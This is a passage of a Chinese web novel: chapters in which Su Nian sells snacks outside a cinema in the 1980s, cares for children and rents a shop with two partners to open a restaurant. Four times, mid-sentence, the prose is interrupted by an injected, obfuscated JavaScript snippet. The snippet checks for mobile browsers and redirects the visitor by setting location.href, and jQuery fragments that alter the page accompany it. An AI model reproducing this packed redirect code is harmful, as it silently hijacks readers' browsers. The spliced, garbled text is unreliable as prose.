“大娘，我们带的少，才卖的快。”苏念察觉对方的眼神，“你家生意也不错，大娘，我们俩还没吃晚饭，来两块火烧。” 崔大娘高兴道，“好嘞。” 拿着火钳拨弄下炭火，麻溜的贴饼，没过一会儿，两块新鲜出炉的火烧递了过来。 同时苏念把剩下不够卖一份的土豆炸了，裹满辣椒，分了一点给大娘尝尝味道，剩下的火烧剪开口袋，把土豆全部塞了进去。 “味道不错。”孙菊接过火烧尝了一口，“第一次见火烧塞土豆的。” “火烧能塞一切，塞土豆也能塞油炸。”苏念咬了一口，随口说道。 电光火石间，灵感碰撞。 火烧夹油炸，销量应该也不错。 苏念脑子盘算着可行性，一边解决完火烧。吃完收拾好东西，和崔大娘打了声招呼，和孙菊推着餐车回去。 晚上八点十分，四条巷零星几家微弱的灯光，苏念和孙菊把餐车停在院子，两人散去。 苏念接替工作，照看着三个孩子，刘春霞挎着小包急匆匆地去上夜班。 等待三个小朋友睡着，苏念轻手轻脚地把江颜抱回家，在床上放好。 确认小朋友熟睡，苏念才捏着本子和钱包坐在桌子前。 清点了一下近期赚钱的总数，数下来发现刨去各类成本，净利润达惊人的六百多元。 当初接手新身体时，浑身上下只剩下二十多元，到如今身揣几百元巨款。 经过这段时间的摸索，她发现平江市的人舍得在吃上面花钱。 只要口味过硬，不愁销量。 摆摊能上的菜品终究有限，不知道放下的店铺租金贵不贵？不贵可以考虑租一个。 苏念想了一下接下来的规划，才洗漱上床。 - 夜色朦胧，八条巷口，孩子们嬉笑打闹，妇人们聚一起说闲话。 李素琴拎着狼牙土豆，脚步轻快地往家赶。 她家四姊弟，上面一个姐姐已经出嫁，下面一个弟弟在读高中，一个妹妹读初中。 姐弟间感情很好。 李素琴推门时，弟弟和妹妹正在做功课。见她进来，乖巧地叫了声二姐，迎上来接过东西。 “二姐，你给我们带什么好吃的了？”李玉玲兴冲冲地问。 “狼牙土豆，香辣口的。”李素琴把东西放下，招呼着两个弟妹，“你们快尝尝，我路上吃了一份。” 说话间，两人已经打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16497625|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开袋子吃了起来。 “二姐，你在哪买的啊？”李玉玲尝了一口，有些惊艳，“好吃。” “电影院门口新开的小吃摊。”李素琴笑着说，“小勇、玉玲，你俩明天早点把功课做完，我下班带你们去看电影顺带买东西吃。” “好。”李勇指着墙角摆放的东西，“姐，这些是康宁哥今晚送过来。网兜里的东西是专门给你的。” “爸妈问你对康宁哥是怎么想的？” 李素琴望着墙角摆放的东西，一时间心情有些复杂。自打两人接触认识，陈康宁时不时的来家帮忙、送礼，哄的爸妈心花怒放。 实话实说，是一个不错的男人。 “我自己和他谈吧。”李素琴回神，“你们两个小孩把心思放在学习上，我的事情自己会处理的。” 李素琴说完，拎着东西回房间，把网兜打开，发现是雪花膏等护肤用品。 打开雪花膏，低头嗅了一下味道，香味迷人。 - 夜色朦胧，刘春霞踏着清晨的第一缕阳光进了四条巷。 舀水洗脸，简单洗漱后回卧室睡觉。 苏念蹑手蹑脚起床，进了后厨先看了下前段时间腌制的咸鸭蛋情况，看完又在坛子外围倒了些水。 拿着酸梅汤材料进屋，洗干净铁锅，开始煮。 她打算找做一些样品给大家尝尝味道，中午出去买汤桶和冰块，晚上正好出摊。 天气一天天热起来，酸梅汤正好解暑。 按照步骤，酸梅汤煮好，苏念把它放在缸里放凉。 酸梅汤煮好后，三个孩子也陆陆续续起床，吃了早饭，交代许军看着两个妹妹。 孙菊请半天假，苏念捏着钱包出门采购东西。 苏念直奔目的地，挑挑拣拣买了一个称心的保温汤桶，放在餐车上，又前往农贸市场进货，除了大量的土豆，新进了一些蔬菜。她打算晚上卖油炸，看看销量。 刘钱君帮着把货物送上车，东西拉回来已经是中午。 回来时，许军正带着两个妹妹玩，念故事书给她们听。 见她进来，一窝蜂的围过来帮忙。 苏念，“小军，你妈妈起床没？” “没有。” 刘春霞往常回来只睡一两个小时便起床收拾家里卫生，临上夜班前会再睡一会儿。 今天怎么睡到晌午还没起？苏念心里有些疑惑。 “行，阿姨中午给你们做好吃的。”苏念捏了捏日渐圆润小反派的脸，“颜宝，你先跟着哥哥姐姐们玩，妈妈先去忙一会儿。” 江颜昂着小脑袋点点头，“嗯！” 苏念瞅了眼钟表，压下心中的不对劲，拎着东西直奔后厨。 买了些猪腿肉，她打算给孩子们做一款白汤肉丸子。 猪腿肉清洗干净，剁成肉泥，放在一旁备用，配菜丝瓜切成滚刀块、葱姜蒜切好。 将泡好的葱姜、花椒水一点点浇进肉泥，快速搅拌至上劲。 加入鸡蛋清和淀粉，顺时针搅拌至上劲。 起锅烧油，放入葱姜蒜、预留好的肉馅，快速煸炒，倒入开水。 开水倒入的瞬间变为乳白色的汤底，盖上锅盖，等待几分钟。 19. 冰镇酸梅汤+油炸 几分钟后，揭开锅盖，水煮微沸。 拿出肉馅盆，虎口挤出小丸子，用瓷勺蘸一下水舀起，依次放入丸子。所有丸子全部下锅后，先不要搅动，等待丸子定型后，再用勺子轻轻地推散。 丸子全部漂浮在锅面时，下入切好的丝瓜，继续煮四五分钟，加入适量的盐和胡椒粉，盛出前滴几滴香油，撒上一点香菜。 “小苏，有没有要帮忙的？” 苏念盖上锅盖，转头见刘春霞一边扎头发一边问道，眼中掩饰不住的疲惫。 “没有，马上开饭。咱们中午吃白汤肉丸子。”苏念不动神色，“嫂子，你帮忙把碗筷拿出去。” 只见刘春霞沉默的点点头，拿着碗筷出去。 端着白汤肉丸子出去时，刘春霞和三个孩子排排坐在餐桌前，女人盯着窗户发呆。 “嫂子，吃饭了？”苏念把汤碗放好，轻声叫了一下女人，“好端端地发什么呆？是不是出什么事情了？” “啊？没事。”刘春霞回神，见女人满脸的担忧，挥挥手，“咱们吃饭。” 见三个孩子盯着菜，女人不愿意多说，苏念没有追问，招呼着三个孩子喝汤。 一顿饭在三个孩子的吹捧下和两个大人的沉默中度过，吃完饭，苏念支开三个孩子去午睡，才拉着刘春霞在院子坐下。 “嫂子，是不是遇见什么事情了？你今天回来整个人就不对劲。” 刘春霞性格豪爽泼辣，如果不是遇见什么烦心事，满院子全是她的笑声。像今天沉默寡言的情况是不会发生的。 微风吹送，送来一丝燥热。 良久，刘春霞才开了口。 “厂子效益不好，可能要缩减人员。领导打算裁减老员工，我是其中一员。” “近两年厂子效益不如以前，学徒不像之前大批量招收了，人员变动，很多老职工班里停薪留职。我十几岁到纺织二厂上班，上了十来年，好不容易熬上了管理岗。如今打算把我们这批老人裁撤了。” “家里四个老人，两个孩子嗷嗷待哺，万一真的让我办理停薪留职，光靠你许大哥一个人的工资，这日子怎么过啊？” 苏念听着刘春霞嗓音中的哽咽，一向风风火火的女人如今像一只受伤的小野猫无助。 时代变革的浪潮下，普通人无能为力。就像二十一世纪，全球经济下行，裁员潮下，人是没有任何办法的改变的，只能眼睁睁地看着自己成为牺牲者。 拍了拍刘春霞的肩膀，苏念昨晚的念头突然涌上心头，“嫂子，实在不行，你跟着我开餐馆吧？” 刘春霞，“你是认真的？” - 下午，孙菊一进四条巷28号小院，只见两个女人紧紧盯着她。她一踏进院门，两人一左一右地把她架进了里屋。 三人坐定，孙菊忍不住开口，“是不是有大事发生？” 刘春霞迫不及待开口，“我们打算合伙开餐馆，你是什么想法？” 孙菊下意识地看向苏念，得到对方点头，有些疑惑问，“怎么突然想开餐馆了？咱们摆摊一个多月生意挺好的，成本小利润多。” 苏念对她的反应是意料之中的，昨晚冒出开餐馆的念头时便打算找孙菊商谈，问问她的想法。 摆摊和开餐馆的成本和承担的风险是不一样的。摆摊只需要一辆车和食材，耗损小纯利润高，但同样的上限一般。 开餐馆肉眼可见的成本增加，店铺租金、客源是否有稳定、食材耗损等等，全是需要考虑的问题。 上午听见刘春霞有失业的风险，苏念干脆地拉她入伙，如她所想的那样，两人一拍即合。 眼下，需要看孙菊是什么意思。 苏念将餐馆的理念和成本、各类风险讲解的清清楚楚、明明白白，然后让孙菊好好考虑一下。 话音刚落。 “既然你打算开餐馆，我肯定跟着你干。”孙菊直接说，“这个月摆摊的分红我不同给我，给你用来开店。钱不够直接说。” 经过一个多月的搭档，孙菊看着她出一个新品卖爆一个新品。单单是上个月的分红她就拿了一百五十二元。这是一笔巨款，比她当初在厂里拿的工资还多，也比她摆粥摊时挣的多。 “行，既然大家同意，我们明天出去看铺子，争取尽快简单装修开业。”苏念见事情进展顺利，直接拍桌定下。 又把餐馆理念和分工和两个合伙人简单说了一下，她负责后厨。孙菊和她搭档一个多月，性格谨慎和刘钱君熟悉，负责食材采购，刘春霞性格火辣善交际，之前在厂里又是管理岗位，负责餐馆的管理。 大致分工后，三人开始分批干活。刘春霞和孙菊处理土豆、油炸需要的各类蔬菜，她去后厨制作酸梅汤和拌油炸的酱料。 天气一天天热起来，三人忙的汗渍淋漓。酸梅汤煮好，苏念把汤放在汤桶里，等待放凉。 三人把事情处理好，三个孩子满脸流汗你追我赶的跑进院子，挨个打招呼。 三道声音此起彼伏的响起，苏念闻言将水缸里放着的酸梅汤端出来，招呼大家上来尝尝味道。 一人一碗，三个小孩子一口喝干净。 “妈妈，我还想喝。” “有的呀，颜宝。”苏念看着其余两个小朋友笑道，“不过得等一会儿，刚出锅有点热，我去买点冰块，放凉了再给你们喝。” 安抚好三个小朋友，苏念才笑道，“味道怎么样？” “你是谁啊，做出来的东西能不好喝？”刘春霞直接笑道，“我陪你去买冰块，那家老板我朋友。” 孙菊留下把东西装车，苏念和刘春霞两人去买冰块，一番讨价还价，最终以一元钱的价格拿下一整块冰块。 回去砸碎，等待酸梅汤吃放凉，冰块丢进去，给三个孩子又一人盛了一碗解解馋。 各自回家解决晚饭，准备出摊。 刘春霞留在家照看三个孩子，苏念带着孙菊出摊。 因为想和崔大娘商谈合作，苏念早早地出门。餐车到了位置，电影院前零星几个摊位，两人动作迅速的摆放东西。 狼牙土豆和冰镇酸梅汤放在一餐车上，孙菊负责。油炸单独一个餐车，她负责。 两人东西摆放好，没过一会儿，崔大娘拖着烧饼桶慢悠悠过来。 “苏老板、孙老板，你们今天来的挺早啊。”崔大娘笑眯眯的停下车子，打招呼，“我昨天听你们说今晚卖酸梅汤，我爱喝这个，卖我一碗。” “崔大娘，送你一碗，不用买。”苏念一边动手盛了一杯酸梅汤递过去，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16504340|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边笑眯眯说，“大娘，我们晚上卖油炸，到时候可以帮你推销火烧。” 油炸单独吃味道也好，但火烧夹油炸味道会更丰富。昨天她尝了一口火烧，味道确实不错。经过一段时间的相处，崔大娘人挺好的，能帮一把是一把。 “真的假的？”崔大娘听见这话，高兴地酸梅汤一下没拿稳，洒了几滴，“你能帮我推销？” 她是眼睁睁看着苏念摊位生意的火爆，她粗略的算了一下，很赚钱。 “当然。”苏念笑着说，“所以大娘，你现在抓紧时间多做几个火烧送我摊子上，问我等会儿组合推销一下。” “好嘞。”崔大娘语含高兴道，酸梅汤端起一饮而尽，“苏老板，你煮的酸梅汤好喝，不苦。” 看似酸梅汤各家各户都能抓材料煮，可想要煮的好喝不是一件容易事情。苏老板煮的酸梅汤，酸甜中带着一丝香味。 两人互相吹捧了一下，其余摊位慢慢增多。 晚上六点半，看电影的人陆陆续续来了，下白班的年轻人也跑电影院前的小吃摊觅食。 李素琴带着弟妹在电影院前的老树下等张慧。 “二姐，你在等谁啊？”李玉玲四处张望，“难道今天康宁哥也一起来？昨晚他来家里没有说啊。” “不是他。”李素琴随口说了句，突然，神情激动地挥手，“张慧。” 李勇和李玉玲对视了一眼，见身着碎花裙的女孩一路小跑过来，和她们二姐汇合。 “不好意思，有点事情耽搁了。”张慧平稳气息后，解释情况。 李素琴表示没有关系，指着弟妹介绍了一下，四人互相认识一下。 “咱么抓紧时间去排队吧，我看人挺多的。”张慧看了一眼摊位，“小琴，我和你讲，今天我听见咱们班好多人打算下课来吃土豆，咱们得快点买，不然买不到。” 两人对视一眼，默契地直奔摊位，已经排起了长队。 “队伍排的这么长，能不能排到我们？”张慧看着长队，忍不住说道。 “不知道，我看除了酸梅汤，又增加新品油炸。” 两人对视一眼，忍不住担忧 苏念手抡出火星炸串，同时维持秩序，“同志们，先来后到，一定要排队啊。”同时接待下一位顾客，“想要辣酱还是甜面酱，搭配火烧味道会更好，火烧一角钱一个，油炸素菜1分钱一个，荤菜3分钱一个。” “苏老板？” 意料之外熟悉的嗓音响起，苏念抬头，有些惊喜，“王老师？你今天过来看电影啊？吃点什么？” 王志刚是早餐摊的忠实顾客。 “是啊，带老婆孩子看场电影。”王志刚指着几个食材，“苏老板，自打放暑假，我十分想念你做的菜煎饼啊。你以后回钢铁小学卖早餐吗？” “我刚瞅见这边围了一圈人，想着味道肯定好，没想到是你在这摆摊啊。” “给我弄三分火烧夹油炸，食材要一样的，中辣。” “苏老板，你一定要回去卖早餐，我开学的动力就是你卖的菜煎饼。” 王志刚像倒豆子一样，话往外冒。苏念手下动作不停地干活，嘴角含笑没有答话。 如今，打算合伙开店，地址没有确定，不能给人不确定的承诺。 20. 看店铺 铁锅油热，先下肉类，“滋啦”一声，肉在油中上下翻滚，再下入各类蔬菜。 第一次上油炸，肉的种类不多，她只腌制了一些猪肉和鸡肉条，素菜的种类则多了，应季的青菜、辣椒等，十来种蔬菜。 王志刚选了鸡肉、猪肉、二荆条和青菜，四五分钟，全部炸熟，捞出沥油。 苏念拿出拌菜的盆，把油炸扔进去，拿剪刀快速的剪碎，又刷甜面酱和辣椒面。 正好崔大娘的火烧刚出锅，苏念接过，用剪刀剪开口子，一股脑的把油炸全部塞进去，拿着牛油纸包裹好。 接下来的两个油炸和火烧，如法炮制。 装好袋子递给王志刚，“给你油炸，王老师。” 王志刚接过油炸，忍不住咽了下口水，“苏老板，咱们开学见。” “王老师，我打算开餐馆，开学可能不在钢铁小学摆摊了。”苏念见对方真诚的眼神，实在没忍住解释了一下。 “你要开餐馆？”王志刚拎着东西想走，听见这话猛的停住了脚步，“你店铺找好没？” “还没开始找呢。”苏念招呼下一个顾客上前，手下动作不停，“这两天打算去找一下。” “你想要多大的面积铺子？我在钢铁小学对面的街上有一间铺子，你要不要去看看？” 王志刚越想越觉得这事能行，他家的铺子刚好闲置，他又喜欢苏老板的手艺。 “你什么时候有时间过来看看铺子？” 苏念见对方眼神坚定，“明天可以方便看吗？” 钢铁小学门口的人流量确实好，摆摊的地点也是在那边。能在大本营找到合适的铺子，也省得从头开始。 王志刚确定想法后，拎着东西退到摊子旁边，挥手示意自家媳妇闺女过来，“苏老板打算开餐馆，我明天去教育局开会，媳妇你能不能带她们去看一下？” “苏老板，咱们约个时间。”夏月清打招呼，“我们家老爷子喜欢吃你做的包子，前段时候和我说，他去小学门口想买包子的，没找到你摊子，没想到到这边摆摊了。” 夏月清今天穿着一身白色连衣裙，侧马尾辫用丝带绑着。旁边站着一个八岁左右的女孩，同样穿着连衣裙，圆圆的脸蛋红扑扑的。 “那我们明天见面时给你带一点包子。”苏念说了句，“咱们明天九点见面，方便吗？” “哦，那真是太好了。”夏月清有些惊喜，“会不会太麻烦你。” “不会。”苏念笑着说，“老爷子喜欢吃鲜肉的，还是豆腐的？” “鲜肉的。”夏月清连忙说。 两人确定好见面的时间地点，夏月清连忙带着老公和闺女离开，不耽误人家做生意。 王志刚离开人群，扯着夏月清的衣袖说，“媳妇，你一定要让苏老板租咱们家的铺子，开学后能不能吃到好吃的饭，成败在此一举。” “爸爸，好好吃。” 女孩糯声糯气的喊道，眼睛发光的盯着手里的油炸火烧。 “好吃的话，爸爸明晚还带你来买。”与此同时，王志刚也满嘴油炸，“啊，爽。” 夏月清一脸笑意看着父女，慢条斯理地咬着火烧。 火烧的焦香酥脆配着油炸的油润香酥，两种味道在口舌间相互纠缠。 味蕾的别致的舒爽。 苏老板，手艺很好。 “二姐，感觉那个很好吃哎。”李玉玲指着王志刚一家手里的火烧，“咱们等会儿买那个吃吧。” 摊位的香气蔓延开，她们排在队伍的中间闻的一清二楚。 “可以。”李素琴点点头，“老板说今天会上冰镇酸梅汤，等会儿再买一杯给你们尝尝看。” “不知道能不能排上我们了。”张慧看着队伍，有些担忧。 队伍里忠实客户担心买不到东西，苏念不太清楚。她只知道手快忙出残影。 “小苏，土豆快卖完了。”孙菊在一旁炸土豆，提醒一句。 “狼牙土豆快卖完，队伍后面买土豆的顾客不用排队了。”苏念闻言，冲着长长的队伍吆喝一嗓子，“买油炸火烧、冰镇酸梅汤的可以排。” “小苏，你觉不觉得今天的顾客比昨天多了很多？”孙菊一边忙着手下的动作，一边看着长长的队伍有些疑惑。 昨天卖的也好，但速度没有今晚的快。眼下电影尚未开场，预备的土豆已经快卖完了。 “不管它，卖完过来帮我。”苏念笑着说，“咱们不怕卖的快，怕卖不完。” 两人相视一笑。 大概过了六七分钟，终于排到李素琴和张慧几人。 “老板，我们又来了。”李素琴笑眯眯的说，伸出一个手掌，“先给我们五份冰镇酸梅汤。” “欢迎再来。” 两个小姑娘天天来买东西，苏念也眼熟，笑着招呼，同时让孙菊打好酸梅汤。 “好嘞，来这边领。”孙菊闻言笑着招手，“排排队领取酸梅汤。” 张慧跑过去，把五杯酸梅汤挨个分出去，捏着杯子猛吸了一口，酸甜中带着一丝香味。冰块恰到好处的驱散排队带来的燥热，一阵凉爽袭来。 “苏老板，这些是怎么买的？”张慧指着摊位上的食材。 “拿着小筐子自选，饿的话可以油炸配火烧，不饿单选油炸也好吃。肉类三分钱一个，素菜一分钱一个。”苏念笑道，把小筐子递到餐车前，同时处理手下的单子，“吃多少拿多少，一起算钱。” 张慧把框子分散给李素琴姐弟，自己拿着小框子开始挑选蔬菜，两个肉各拿一个，青菜、辣椒、小白菜、菇类各拿一个，挑选好递出去。 挑好退到旁边让李素琴姐弟们选。 “老板，我叫张慧。你知道你这个小吃摊在我们学校火了嘛，今天我看见好多同学来你这买东西。”张慧在一旁等着无聊，没忍住闲聊。 “好像是有同学在你这边买了狼牙土豆，吃了一次念念不忘，给身边的同学介绍，描述的可好吃。” “老板，我前段时间也来看过电影，没见你摆摊，你后面会一直在这边摆摊吗？” 摊子固不固定是张慧这两天一直琢磨的事情，摆小吃摊是流动的。万一老板换地方摆，她不知道，岂不是再也吃不到如此好吃的美食。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16509894|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我叫苏念，暂时在这边摆摊，后面打算开餐馆的。”听见张慧的话，苏念才知道为何今晚顾客量成倍增加，正好炸串炸好，“你吃什么口味的？要搭配火烧吗？” “加一个火烧，要甜面酱，中辣。”张慧笑道，“能不能帮我火烧饼皮内侧涂一点甜面酱吗？” “当然可以。”苏念动作利索地剪开饼口袋，把炸串塞进去，装袋递出去，“给你。” “苏老板，我要一模一样口味的，辣椒多放一点。”李素琴将挑选好的小筐子递出去，指着正在挑选的弟妹，“等会儿她们俩选的东西一起结账。” 苏念看了下，点了点头，动作麻利的算好钱，给了货。 “苏老板，餐馆地址定下来一定要和我们讲，一定去捧场。” 李素琴结好账，带着弟妹离开前交代了一句。 苏念答了声好，收回视线，继续忙碌。 赚钱重要。 没要二十分钟，油炸一售而空。 苏念把钱结给崔大娘，才带着孙菊回小院。 - 艳阳高照，早上八点半，四条巷28号小院门口。 孙菊气喘吁吁的跑来，和苏念、刘春霞汇合，带着三个小孩前往目的地。 钢铁小学正对面店铺，夏月清躲在屋檐下躲太阳，见人过来连忙站起来招手。 苏念远远地看见穿着衬衫长裤的女人，招了下手，快步往店铺走。 “苏老板、孙老板，早上好。”夏月清笑眯眯地上前迎接，又和其余人微笑地打了声招呼。 “早上好，这是给你父亲现做的鲜肉包。”苏念递上准备好的包子，“六个左右，没包多，天热容易坏。” “闻着真香，我爸爸得高兴的不行。谢谢苏老板了。” 夏月清接过包子，连忙打开挎包拿钱递出，两人一番推脱下，终究是败下阵。 “那谢谢了。”夏月清见状，“那咱们话不多说，我把店铺门打开，你们看看合不合适？” 说话间，打开店铺门让人进去。 “之前的店铺是做饭馆的，味道不太好，老板不干了，之后就一直空置在这。”夏月清走在前面介绍基本情况，“你们厨房不用大改，桌椅板凳你们看看能用的留下，不能用的扔掉。” “整间铺子的面积大概在55平米，隔着一条马路是钢铁小学，小学向左直走三公里外是咱们平江市的汽车客运站。” “你们先四处看看，觉得合适咱们再坐下来谈谈租金的事情。” “地址位置是合适的。” 夏月清掸了掸板凳上的灰尘，坐下，十分耐心的等待苏念等人看店铺。 苏念四处张望，上一家餐馆主人买的桌椅板凳六成新，能将就用。厨房里的炒菜灶也是相对专业级别的，铺子的面积做一家炒菜馆也是够用的。 对面是小学、旁边是汽车客运站，两个人流量最大的地方。 一番打量下来，苏念看向夏月清，目光坚定，“夏姐，你心里预期的租金是多少？” 夏月清指着正对面的座位，笑道，“苏老板，我们坐下来闲谈。” 21. 失业的刘春霞 七月中下旬的平江市，艳阳高照，微风吹来一丝炎热，让人忍不住产生燥热。 苏念捏着店铺钥匙，一行人脸上带着掩饰不住的笑意。 “没想到王老师媳妇给的价格如此厚道，一个月五十八元租金。” 落在后面的孙菊想着刚刚的谈判，忍不住感叹。按照现在普遍的租金价格，五十多平的铺子，最低也得六七十元一个月，如今一个月五十八元。 “小苏，我看了一下店铺现有的东西。”刘春霞和苏念并肩走，思索了一下，“桌椅可以继续用，碗碟筷得需要重新购置一下，店铺的门匾也需要定制一下。” “门匾我有认识的熟人，你把店名想好，我去定制一下。我们争取开学前把店盘点好。” 刘春霞掰着手指头，一件件的说想法，脸色严肃认真，突然，像是想起什么似的，交代道。 “小苏，咱们店的菜单你得抓紧想好，到时候一并定制了挂在店墙上。” “眼下你们电影院门口小吃摊的生意火爆，我建议你们可以宣传下店铺的地址，加强顾客的印象。” 苏念看着短短时间内，已经对店铺经营提出诸多想法的刘春霞。 她知道自己选对合作伙伴。 “小刘。”孙菊听见了女人的话，忍不住竖大拇指，“你性格风风火火的，没想到想法周到细致。” “你也能干，帮着小苏把生意做的红火。” “我出力气，你比我能干，能帮着出点子。” “孙嫂，你们俩都很能干。”苏念连忙打断两人的商业互吹，指着沉默不语的三只小萝卜头，“嫂子们，我认为咱们眼下最紧急的任务是填报这三个孩子的肚子。” 一听这话，刘春霞和孙菊不由自主地对视一眼。她们俩陷在签好店铺的喜悦中，丝毫没注意到一向叽叽喳喳的萝卜们行为反常。 回过神，才注意到已经是午饭点。原先活泼爱动的三个小孩像霜打的茄子一样。 “是我们粗心了，咱们现在就去吃饭。”刘春霞见自家活泼好动的闺女眼神耷拉着，忍不住失笑，连声说。 “中午不做饭了，我请大家去饭店吃，庆祝一下，顺带学习一下。” 苏念的提议得到大家的一致认同，一行人风风火火的往位于市中心的国营饭店出发。 许曼丽得知去饭店吃饭，瞬间活过来，精气神满满，想拽着江颜往前冲未果，独自冲在前方。 苏念察觉到小反派步伐缓慢，情绪不对劲，蹲下盯着江颜的眼睛，“颜宝，是不是累了？怎么不高兴？” 下一秒，怀中撞进一个小小软软的身体，小孩细软的头发蹭着苏念的下巴，痒痒的。 “妈妈，我走累了。” 小孩糯糯地声音响起，苏念看着一百米开外的国营饭店，思索片刻，伸手抱着小丫头起身。 没办法，小孩软萌可爱，又答应了大佬好好照看他的闺女。 孙菊、刘春霞纷纷表示可以轮换着抱小孩，苏念抱着小孩稳健地前往饭店，感受着肩膀处的柔软。 许家两兄妹早早地等在饭店门口，见她们走来，连忙下台阶迎上，叫趴在苏念肩膀处的江颜下来，小丫头才慢腾腾的下来，与许曼丽手牵手奔进饭店门口。 一行人进去每人点了吃的，吃完回小院，约定好下午去店铺打扫卫生的时间，各自散去午休。 中午十二点，各家各户午睡，喧闹地的四条巷得以恢复暂时的安静，树上的蝉鸣愈发明显。 苏念回屋端盆水，给自己和小反派擦洗脸洗脚，换身睡觉的衣服才上床。 小孩软乎乎地身体依靠在身旁，苏念盯着天花板思考着餐馆的经营。 眼下是八十年代后期，改革开放中后期，社会整体相较于之前开放，但生意的门门道道挺多，她的好好想想怎么开展工作，顾客优惠福利怎么上、怎么根据当地人的口味调整菜单、前期怎么吸引顾客、怎么管理经营、以及后续餐馆的如何向上发展。 不一会儿，苏念感觉脑瓜子嗡嗡疼。事情太多了，得一件件来，最重要的是手里还剩多少钱？ 念头一起，苏念想起身去算一下成本以及手里的钱。 回过神，才觉得小反派自打上床一言不发，像个乖宝宝一样，不对劲。自打两人关系转好，小反派几乎化身小麻雀，叽叽喳喳的。 “颜宝？你和妈妈讲，发生什么事情了？”苏念揉着小孩的发顶，轻声问，“发生什么事情一定要和我讲。” 话音刚落，蓦地，胸口的衣服湿漉漉的。 小孩，哭了。 “怎么了？怎么哭了？”苏念连忙摸着小孩的脸，帮着擦眼泪，“告诉妈妈，今天怎么不开心了？” 小孩眼泪不住地掉落，眼眶红红地盯着她，良久，带着哭腔说，“妈妈，我想爸爸了。” 下一秒，小孩头重新埋在她的胳膊，无声的哭泣。 苏念有些哑然，望着小反派伤心的模样，一时陷入安静。她忽略了小孩的感情，穿过来一个多月，小孩除了一开始的警惕，后面两人关系转好，每天乐呵呵地过日子。 没想到带着小孩去看看她爸。 “颜宝。”苏念安慰道，“过两天带你去看爸爸，行不行？” “真的吗？” 小孩眼角带着泪花，昂着脑袋瓜子看她，满是不敢置信。 “当然是真的，不过最近有点忙。”苏念擦了擦小孩眼角的泪水，“空了立马带你去。” 又安慰了一会儿，小反派依靠着枕头进入了梦乡。 苏念见小孩鼻尖红红的，睫毛颤动，睡不安稳，拍了拍肩膀，安抚了两下，才蹑手蹑脚地起床。 先数清楚钱数，才拿着本子写着菜单和经营想法。 眼下餐饮业仍旧保持着淳朴，遵循着味道为王的概念，但发展到后期的餐饮，除了味道，营销也很重要。 酒香也怕巷子深。 隔壁许家。 刘春霞伺候着两个小孩午睡后，才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16515826|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗脸上床，刚躺好，没忍住轻呼出声。 “累就休息。”许建国默不作声地揉着女人的腰部，忍不住疼惜道，“你天天忙的脚不沾地，我看着心疼。” 刘春霞趴着任由对象揉腰，疼的龇牙咧嘴的，闻言，“眼下厂里准备裁员，我失业没收入，家里有两个孩子等着吃喝拉撒。”说到此，忍不住叹了口气，“家全靠你一个人养怎么行，我得为我自己找条退路。” 上班了十几年，说句实在话，听到要裁自己时，她忍不住慌了神。拿了十几年工资，一下没了稳定收入，她害怕。在许建国面前风风火火、想说啥便说啥，靠的就是领工资的底气。 好在，如今找到一份工作。 “店找的怎么样？”许建国闻言，手下的动作更加的轻柔，“你也不要有太大的压力，我的工资够养家的。” “挺顺利的，上午找好定下来的，店铺就在咱闺女儿子小学正对门的那条街。”聊起店铺的事情，刘春霞起劲了，“今天晚上苏念她们不出摊。我们下午打算去简单清扫，把该买的东西买全，争取今天把能搞定的搞定好。” “你下午没有事跟着一起去，店里你能修的地方修好，省得我们几个女人忙。” 许建国望着喋喋不休的媳妇，眼中的笑意愈发浓郁，含笑点头。 动作轻柔舒缓，短暂的疼痛后，刘春霞舒服的眯着眼睛进入了梦乡。 下午两点，人员集合。 苏念捏着钥匙、清扫工具，带着大伙前往店铺。分工明确，许建国负责维修，其余三个人拿着毛巾把该洗该擦的全部搞定，就连三个小孩也分配任务，拿着毛巾擦着店铺门外面的玻璃。 傍晚，天色蒙蒙黑，店铺的清洁维修工作才进入尾声。 看了眼时间，苏念锁门带着大部队去解决了晚饭，各自散去。 